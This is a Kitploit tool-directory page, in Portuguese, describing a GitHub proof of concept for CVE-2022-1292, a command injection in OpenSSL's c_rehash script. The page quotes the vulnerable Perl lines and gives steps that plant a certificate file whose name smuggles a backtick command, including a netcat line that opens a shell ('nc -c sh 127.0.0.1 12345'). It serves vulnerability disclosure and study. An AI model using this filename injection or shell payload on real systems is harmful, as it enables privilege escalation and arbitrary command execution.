Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-1292 — CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC | Kitploit
Ferramentas/GitHubGitHub/alcaparra/cve-2022-1292
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubalcaparra/cve-2022-1292

CVE-2022-1292

CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC

Ver Repositório
288há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-1292 POC

Captura de tela do POC

Descrição

root@kitploit:~
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.

A injeção de comandos ocorre porque os nomes de arquivos não são devidamente sanitizados:

  • $fname =~ s/'/'\\''/g;
  • my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;

Esta parte do script é vulnerável, pois fechar os acentos graves permite a execução de comandos, por exemplo um arquivo chamado: MyCert.crt`whoami` executará "whoami".

POC

  1. Navegue até /etc/ssl/certs/ (padrão) ou outros caminhos configurados no update-ca-certificates
  2. echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc como exemplo de payload)
  3. Em seguida, aguarde a execução do update-ca-certificates. Você pode acioná-lo manualmente com c_rehash .

Referências

  • https://www.cvedetails.com/cve/CVE-2022-1292/
  • https://www.debian.org/security/2022/dsa-5139
  • https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
  • https://www.openssl.org/news/secadv/20220503.txt
Baixar ferramenta